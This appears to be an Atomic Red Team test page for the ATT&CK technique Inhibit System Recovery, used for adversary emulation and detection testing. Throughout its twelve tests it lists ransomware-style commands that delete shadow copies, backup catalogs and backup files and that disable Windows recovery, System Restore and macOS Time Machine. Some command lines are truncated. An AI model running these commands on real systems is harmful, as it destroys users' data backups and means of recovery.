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453 lines (212 loc) · 14.3 KB

# T1490 - Inhibit System Recovery

## Description from ATT&CK

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018) (Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](#) and [Data Encrypted for Impact](#).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable\_notif\_synology\_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- `vssadmin.exe` can be used to delete all volume shadow copies on a system - `vssadmin.exe delete shadows /all /quiet`
- [Windows Management Instrumentation](#) can be used to delete volume shadow copies - `wmic shadowcopy delete`
- `wbadmin.exe` can be used to delete the Windows Backup Catalog - `wbadmin.exe delete catalog -quiet`
- `bcdedit.exe` can be used to disable automatic Windows recovery features by modifying boot configuration data - `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no`
- `REAgentC.exe` can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
- `diskshadow.exe` can be used to delete all volume shadow copies on a system - `diskshadow delete shadows all` (Citation: Diskshadow) (Citation: Crytox Ransomware)

On network devices, adversaries may leverage [Disk Wipe](#) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](#) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

## Atomic Tests

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## Atomic Test #1 - Windows - Delete Volume Shadow Copies

Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055\(v=ws.11\)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11))

**Supported Platforms:** Windows

**auto\_generated\_guid:** 43819286-91a9-4369-90ed-d31fb4da2c01

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
vssadmin.exe delete shadows /all /quiet
```



**Dependencies:** Run with **powershell** !

**Description:** Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.

**Check Prereq Commands:**

```
if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query."))
```

Get Prereq Commands:

```
vssadmin.exe create shadow /for=c:
```

## Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI

Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 6a3ff8dd-f49c-4272-a658-11c2fe58bd88

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
wmic.exe shadowcopy delete
```

**Dependencies:** Run with **powershell** !

**Description:** Create volume shadow copy of C:\.

Check Prereq Commands:

```
if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query."))
```

Get Prereq Commands:

```
wmic shadowcopy call create Volume='C:\'
```

## Atomic Test #3 - Windows - wbadmin Delete Windows Backup Catalog

Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The backup catalog has been successfully deleted." will be displayed in the PowerShell session.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 263ba6cb-ea2b-41c9-9d4e-b652dadd002c

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
wbadmin delete catalog -quiet
```



## Atomic Test #4 - Windows - Disable Windows Recovery Console Repair

Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The operation completed successfully." will be displayed in the powershell session.

**Supported Platforms:** Windows

**auto\_generated\_guid:** cf21060a-80b3-4238-a595-22525de4ab81

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures  
bcdedit.exe /set {default} recoveryenabled no
```



## Cleanup Commands:

```
bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1  
bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
```



## Atomic Test #5 - Windows - Delete Volume Shadow Copies via WMI with PowerShell

Deletes Windows Volume Shadow Copies with PowerShell code and Get-WmiObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil. Executes Get-WmiObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution there may be no output displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 39a295ca-7059-4a88-86f6-09556c1211e7

**Attack Commands:** Run with `powershell` ! Elevation Required (e.g. root or admin)

```
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
```



## Atomic Test #6 - Windows - Delete Backup Files

Deletes backup files in a manner similar to Ryuk ransomware. Upon execution, many "access is denied" messages will appear as the commands try to delete files from around the system.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 6b1dbaf6-cc8a-4ea6-891f-6058569653bf

**Attack Commands:** Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*
```

## Atomic Test #7 - Windows - wbadmin Delete systemstatebackup

Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 584331dd-75bc-4c02-9e0b-17f5fd81c748

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
wbadmin delete systemstatebackup -keepVersions:0
```

## Atomic Test #8 - Windows - Disable the SR scheduled task

Use schtasks.exe to disable the System Restore (SR) scheduled task

**Supported Platforms:** Windows

**auto\_generated\_guid:** 1c68c68d-83a4-4981-974e-8993055fa034

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
```

**Cleanup Commands:**

```
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1
```

## Atomic Test #9 - Disable System Restore Through Registry

Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. See how remcos RAT abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 66e647d1-8741-4e43-b7c1-334760c2047f

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableCon·  
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR"  
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "Disal  
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "Disal
```

**Cleanup Commands:**

```
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "Disable  
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "Disable!  
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "D:  
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "D:
```

## Atomic Test #10 - Windows - vssadmin Resize Shadowstorage Volume

Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware



event and a precursor to deleting the shadowstorage.

**Supported Platforms:** Windows

**auto\_generated\_guid:** da558b07-69ae-41b9-b9d4-4d98154a7049

**Attack Commands:** Run with `powershell` ! Elevation Required (e.g. root or admin)

```
vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%
```



## Atomic Test #11 - Modify VSS Service Permissions

This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its

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- Deny Generic All (G) permissions to Network Users (NU)
- Deny GA permissions to Everyone (WD)
- Deny GA permissions to Anonymous (AN)
- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
- Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL These permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges. A cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan.

**Supported Platforms:** Windows

**auto\_generated\_guid:** a4420f93-5386-4290-b780-f4f66abc7070

**Attack Commands:** Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
sc sdset VSS D:(D;;;GA;;;NU)(D;;;GA;;;WD)(D;;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;
```

#### Cleanup Commands:

```
sc sdset VSS D:(A;;;CCLCSWRPWPDTLOCRRRC;;;SY)(A;;;CCDCLCSWRPWPDTLOCSDRCWDWO;;;BA)(A;
```

## Atomic Test #12 - Disable Time Machine

Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.

**Supported Platforms:** macOS

**auto\_generated\_guid:** ed952f70-91d4-445a-b7ff-30966bfb1aff

**Attack Commands:** Run with **sh** ! Elevation Required (e.g. root or admin)

```
sudo tmutil disable
```

#### Cleanup Commands:

```
sudo tmutil enable
```